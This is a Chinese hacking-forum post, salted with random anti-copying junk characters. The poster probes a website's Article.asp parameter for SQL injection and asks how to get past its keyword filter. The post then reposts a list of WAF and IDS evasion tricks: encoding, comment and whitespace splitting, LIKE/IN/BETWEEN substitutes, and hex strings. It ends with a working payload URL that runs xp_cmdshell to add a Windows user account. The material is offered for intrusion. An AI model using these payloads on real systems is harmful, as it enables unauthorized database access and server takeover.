路过这个网站,检测了一下.
' p& K$ P0 g {6 b) Mhttp://www.xxx.cn/Article.asp?ID=117 and 1=1. |! m7 Z9 f) L9 o1 S5 ^# w* B
直接返回主页9 t' ?( |7 k+ }9 Y. w; e! l
http://www.xxx.cn/Article.asp?ID=117 or 1=13 M$ v8 x6 b& C2 }# z
直接返回主页% L' D* Q y% A
http://www.xxx.cn/Article.asp?ID=117 or
7 h' G5 Z. P& R" Q没有返回主页 没有过滤or
4 f5 K, [0 D: h9 l) m/ ]9 r/ i# ?http://www.xxx.cn/Article.asp?ID=117 and! }1 q* K# k" g: a- \, T
直接返回主页 看来过滤了and6 I1 G+ d7 `1 N# q0 e: I" v
http://www.xxx.cn/Article.asp?ID=117 or 1
! O* ^- S% x, N& K. }! ?/ j+ \没有返回主页 即没有过滤or 也没有过滤1
$ t3 s; @9 B5 ?: ^& Qhttp://www.xxx.cn/Article.asp?ID=117 or 1=18 z; Y/ B( T$ A; X2 k! h
直接返回主页 很明显过滤了等号 & [7 H H% |9 h0 t3 t% U) y q9 r$ _
or的特性是与and相反的.! y) }3 K5 W8 ?8 G
or 1=1 爆错 或与原页面不同
* U4 Z, O9 E) L6 N- K: [7 Zor 1=2 原页面相同
, f4 |. S/ X; J& k这样就是一个注入点
) V3 c% b* P" L9 b; @% b4 \$ b9 I但他过滤了=号 我就用><号代替=号吧!
( k+ e3 D2 P$ M, \+ Y/ Por 1<2 很明显是正确的,所以应该与原页面不同0 [( l* F. Y; L+ [9 O
or 1>2 很明显是错误的,所以应该与原页面相同6 I3 \' k9 E/ l: ~/ c8 h# J5 f
然后看看有没有过滤其他的查询语句,比如select.
7 d- d$ ]4 M" Xhttp://www.xxx.cn/Article.asp?ID=117 select1 c( H3 `6 E; \, s
直接返回主页
; p; H; l& ^0 f+ s& \; G; k! {又迷茫了..
3 ^ S( \9 N6 W1 \* N2 r( O
4 Q, d4 U p3 q) q2 }6 h* ~' O" r1 Y$ m" F
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗: v) s$ }( v; a# @ ^
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)+ [( Q3 i: w! {# Y
================================================
' ^/ T; W9 S" i$ W8 b! e# z8 S. X以下是转贴:8 c2 o- L7 W' s6 z0 i7 U9 Z, c
( z4 e. b3 B7 n, }7 Q突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… ' M( t, B' ?$ c2 z, K
经过我的收集,大部分的防注入程序都过滤了以下关键字: 8 a' w' p- o: E4 }! @: J
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
: _+ k" v4 {% }8 K+ ]而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
; U" I, u6 Y' d3 P" I% m) }( g9 V对于关键字的过滤,以下是我收集的以及我个人的一些想法。
* C% `# o: w( w9 d/ W1、运用编码技术绕过
A+ S# t% T6 Y5 |, E如URLEncode编码,ASCII编码绕过。例如or 1=1即 3 Y) `- l$ @: b! k5 t; C1 l
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
& g0 p* f: ?0 z$ C5 D+ Y
$ i9 R+ ~* F( Y6 y% X2、通过空格绕过 & d o3 G4 B: a) m
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 1 m! s: S. g) i j" Y% J9 O4 _
or’ swords’ =‘swords’ ) o, ?* n5 R# i* X& p7 D
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
* s: M0 ^% k9 Q1 j- X7 O3、运用字符串判断代替
* s& b$ u0 r/ f1 n- i/ b, C用经典的or 1=1判断绕过,如
5 z# ?4 Q: k# {or ’swords’ =’swords’
" |8 w8 W* t6 n; a6 L; @/ o,这个方法就是网上在讨论的。
! P; f2 t8 j% E3 y) {& w) v/ ^4、通过类型转换修饰符N绕过 0 A4 s6 U9 B N9 R
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
3 ]2 b9 }' o, w! Q6 M5、通过+号拆解字符串绕过
3 n0 Z/ L: F9 ^+ L8 Q效果值得考证,但毕竟是一种方法。如 * {) q9 U* r" V. y; r
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 0 e; ?6 V+ @( D/ s* d, K' v* c. A
9 V0 B3 x* N7 W9 x0 A6、通过LIKE绕过 + a1 T# p( G) Z5 Y& J2 T& A2 \. P5 P
以前怎么就没想到呢?如or
; Y6 h) r D, p% C% _, P’swords’ LIKE ’sw’
5 o4 A* ?5 E0 M! G" l- {4 M, m!!!显然可以很轻松的绕过 # @3 m7 k% w5 B, X
“=”“>” ( D' x6 U' W1 K
的限制……
6 C/ P+ D/ `* a7 {7 O7、通过IN绕过
5 O1 z4 _3 T ~' J; d# A与上面的LIKE的思路差不多,如 ( O/ g" z: X; Z7 O
or ’swords’ IN (’swords’)
% D% e7 u& h# m: c0 `
- m3 ^% y) L( Q# {8、通过BETWEEN绕过
/ n, q- o' C& S v1 D- A如
) s; K& x W+ p: S- A" O% Aor ’swords’ BETWEEN ’rw’ AND ’tw’
/ A9 L+ h9 P+ l% u' _) R3 a+ e3 e& P% [
9、通过>或者<绕过 2 A, A4 X2 e' n. p' m, r8 S
or ’swords’ > ’sw’ . `4 P/ W' M* Y9 A( d5 q0 _* f
or ’swords’ < ’tw’
* q6 A) n5 U* J$ @or 1<3
0 K5 z9 [: x. @7 j' ^ C L% v…… 5 M7 x1 S% X& u7 V
10、运用注释语句绕过 5 s9 |4 `+ N4 ^% ] W
用/**/代替空格,如: ' L6 h* Y; S, e2 C. g' o5 P r
UNION /**/ Select /**/user,pwd,from tbluser
; W* `/ e% _8 H" D+ C1 d7 l$ y' {, g
用/**/分割敏感词,如:
I# E, w/ b: s2 C2 h8 uU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
. [& a9 e/ r9 m/ z
1 k0 v! x8 S3 {- b9 I- p11、用HEX绕过,一般的IDS都无法检测出来 + y. _" N( [) U' N: k
0x730079007300610064006D0069006E00 =hex(sysadmin) 2 d) D0 ~1 u1 k
0x640062005F006F0077006E0065007200 =hex(db_owner) 0 v6 F& _$ E* f! W8 ^6 v. j* w3 `
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: * \) m) G$ ?2 ~ l
declare @a sysname ' Z3 @& e. N$ y1 L
select @a=
O3 O- y- d! o1 I exec master.dbo.xp_cmdshell @a 7 p0 ~, R8 D5 d1 Q2 Z3 H# i) _
效果 ' U3 V! R [- M& g2 k$ v4 i. L
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- & W8 l5 W" W/ Z* W$ o
/ h* r7 H) G! M' ]# k% r其中的
# y# m2 D* ~! }% B% p% }0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 6 k7 y& }* ?% E
就是 , J4 { k. _3 O) }
“net user angel pass /add”9 Q- s8 W) g( I6 K: m
% |, Q# \ I. T
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。9 s4 W' X2 |/ N+ P3 b" r# |7 r) ~
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
, G5 N0 x! O' `' m另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似) }" ~( v7 `, D: |% c; R- c( \
Copy code
& r3 L; @- {" _! {: Gselect * from table exec xp_cmdshell'xxxxxxxxxx'! w# M# Q9 n+ j3 z) e) i0 c' |
: k! t$ @8 S; R6 k7 h4 V
* h5 A* K t1 [3 _9 ~
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
% |' r6 R8 @8 o3 Q; q
\7 N1 U; I& K& n) u; s" ?
7 g5 Y+ x7 q8 W! Uselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
9 F& B+ X+ ~/ X# l9 Z% c+ u$ E& I% L4 L3 u' n
, l% O: r# @4 U5 J& R# e( r
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
9 j' R+ @' d9 |, J2 P: k
, V/ V8 d0 x4 m. _的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?3 f5 {- D7 ~' @8 C+ x. g4 {
$ N0 f0 o* \* J0 p" d: H1 P这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
2 p' P; A2 i( I- [2 [可能大家早就知道了,不管怎么说,发在这里吧!
5 N+ n* ~3 e- b7 B) l! R7 K2 H& p7 {* j$ G2 Y. \& t C
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
5 g) ^6 a C0 {" B. Q
& e* A I( |" Z7 A
1 ?) T) Q9 q: k
. o" g3 s* F3 D$ E# Z/ Z) o对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,2 D4 P% _' @5 z
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
2 T4 `% u/ s, B( v4 i% n# f' ?1 f1 \/ R" l
|